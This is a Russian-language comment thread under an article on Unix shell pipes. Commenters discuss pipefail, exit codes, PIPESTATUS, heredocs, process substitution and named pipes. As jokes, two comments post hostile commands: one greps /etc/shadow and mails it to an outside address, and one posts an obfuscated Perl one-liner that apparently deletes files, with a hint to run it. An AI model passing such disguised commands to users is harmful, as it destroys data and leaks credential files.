Как стать автором
Обновить

Комментарии 36

Спасибо, очень интересная статься… но как всегда нужна мера, чтобы не полочалось такого:

# odmget -q «attribute=num and uniquetype=pty/pty/pty» PdAt | sed «s/0-64/0-512/» | odmchange -q «attribute=num and uniquetype=pty/pty/pty» -o PdAt

потом разбираться сложно :)
Самое интересное так dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp

или так

tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=«1;32» grep --color "[^ ]"
Не хотелось бы никого обижать, но что нового привнесла эта статья? Что хотел донести автор? Свой восторг от открытия pipe?
Как бы то ни было, название точно не соответствует содержимому.
1-курсник видимо, Робаческого проходят, пайпы :)
Я бы вообще pipefail по дефолту ставил. Он роняет пайп не когда утиль ничего не вернула, а когда утиль сама вернула ненулевой код возврата, всё правильно делает.
Утиль не может ничего вернуть, выход из main() всегда равен нулю, если не указанно иного и нет ошибки.
К тому, что летает по трубе, это ваще никак не относится.

Если пишешь скрипты, у тебя весь канал должен отрабатывать пустые результаты.
Окей, смотри.

Каждый бинарник в пайпе возвращает три вещи:
1. exit code
2. stderr
3. stdout

stderr традиционно игнорируется (на самом деле в итоге выдается пользователю)
stdout идёт на вход следующей утилите
exit code — если не ставить опций, то игнорируется для всех команд кроме последней

Ненулевой exit code, и пустой stdout — это разные вещи. Пустой stdout безусловно должен обрабатываться корректно и не является ошибкой, но это так и происходит, независимо от наличия опции pipefail.

Рассмотрим такой пайп:
cat foo | sed 's/abra/cadabra/g'


Если файл foo пустой, то всё будет работать как и в общем случае, ничего не ломается.

Но при отсутствии файла foo команда cat вернёт не только пустой output, но и не нулевой код возврата. И если мы хотим этот случай отличить от пустого файла а- мы должны ставить опцию pipefail, иначе падение команды cat будет проигнорировано.
Так вам и говорят про ситуацию, когда выход из main() не равен нулю.

Не про пустой результат, а про код возврата.

Попробуйте с set -o pipefail сделать (true | cat) && echo True || echo False, а потом замените true на false. В случае с true будет выведено «True», в случае с false — «False», но без set -o pipefail в обоих случаях будет «True». При этом ни true, ни false ничего не пишут в stdout
Вот там в примере, grep который возвращает 1 в случае нулевого результата,… ну и хрен бы с ним,
сделай так чтоб следующий за ним тоже вернул ноль.

Для полного феншуя, нужно разделять проверку на код возврата и сравнения строк,
не мешать функции strcmp() и математические: <, >, =, !=

grep который возвращает 1 в случае нулевого результата

Да, неудобно. Решается вызовом
first-command | (grep "foo" || true) | next-command


Немного некрасиво, но лучше чем без pipefail. Пайпы без pipefail, это как bash-скрипт без «set -e». Это как программа, где каждый оператор заключён в try с пустым блоком catch.
Какие try, catch… юзай PHP/Perl/Ruby при чем тут баш?!
// В zsh есть аналог try-finally с возможностью проигнорировать ошибки (но без полноценного catch).

Вообще‐то в сообщении, на который вы отвечаете, try-catch приводился в качестве аналогии. Ваш ответ соответствует сообщению, на который вы отвечаете, не более, чем абзац выше соответствует вашему сообщению.

Если бы в качестве аналогии было приведено «это как переходить дорогу, никогда не глядя на светофор», вы бы тоже сказали «Какие светофоры… прогуляйся на улице при чем тут баш?!»?
тогда уж
grep root < /etc/shadow | mail -s "Thank you"  archive@nsa.gov
В АНБ порадуются
bash: /etc/shadow: Permission denied

:)
Очевидно же:
От рута тестишь? Ну тогда иди сразу сдавайся всем спецслужбам мира )
Смысл не из-под рута запускать
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
?
Минусуют проверившие классический однострочник?
Это не document here, это перенаправление входного дескриптора из файла. Document here — это
cat << EOF
blah-blah-blah
EOF
Ну тогда поведуй всему миру, чем отличаются << и >> от < и >
По вашим комментариям сдаётся мне, что вы, уважаемый, сам поведуй не в себе.
Я б сказал, но тут Дерьмократия, за свободу слова банят!
Неуважительно общаться с собеседниками — это не свобода слова. Хабр — не OpenNet, и это несказанно радует!
Мне ещё нравится process substitution (башизм, но в, например, zsh он тоже есть). Если есть какая-то программа, принимающая в качестве аргумента файл, можно вместо этого файла подсунуть pipe.
Для примера rsync, которому можно передать файл со списком файлов:
get_file_list() {
    # все названия выдуманы, совпадения случайны
    find . -name "*.py"
    find www
    echo run
}
rsync \
    -t \
    -vv \
    --files-from=<(get_file_list) \
    . \
    $DESTINATION \
А если нам при этом нужен seek, то только zsh и =(command) — тоже process substitution, но вместо pipe подставляет временный файл.
Так и не увидел tricks.

Ни слова про контролирование скорости передачи в пайпе, ни про именованные пайпы.
Именованные пайпы — это которые mkfifo?
Ага. Я их использовал для обмана программ, которые ну точно не хотели писать на stdout в пайп.
Ещё один способ получить коды завершения элементов контейнеров
man bash
PIPESTATUS An array variable (see Arrays below) containing a list of exit status values from the processes in the most-recently-executed foreground pipeline (which may contain only a single command).
Таким образом, bash обрабатывает символ конвейера путем системного вызова pipe() для каждого встретившегося символа ‘|’ и выполняет каждую команду в отдельном процессе с использованием соответствующих файловых дескрипторов в качестве входного и выходного потоков.
то есть не
все команды в конвейере работают параллельно
а только две, причем вторая ждет вывода от первой. Собственно не совсем асинхронно. Процессы то может запущены и параллельно, но работу они делают последовательно, после получения порции данных на вход. Кажется так?
Нет. Первая выдала порцию данных, вторая уже может начинать работать. Первая тем временем продолжает генерировать новые данные. Потом через какое-то время данные дойдут и до третьей команды и т.д.

При наличии достаточно больших буферов, и отсутствия узких мест — никакие из процессов не будут ждать, все будут активно работать.

По факту же да, бывает что одна из команд обрабатывает данные медленнее чем другие, поэтому большую часть времени остальные ждут её (причем как те кто перед ней, так и те что после неё). Но всё равно работает быстрее чем если бы мы обрабатывали последовательно.
Кстати, в цитате из ядра нираскрыта самая интересная тема — как собственно передаются данные. Кого волнует инициализация структур, в самом деле.
Само ядро никуда данные не передает. см. execute_command_internal (cmd->value.Connection->first, asynchronous, prev, fildes[1], fd_bitmap);
тут `prev` — это файловый дескриптор, stdin для вызываемой программы и является stdout'ом для предыдущей команды.
Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации

Изменить настройки темы

Истории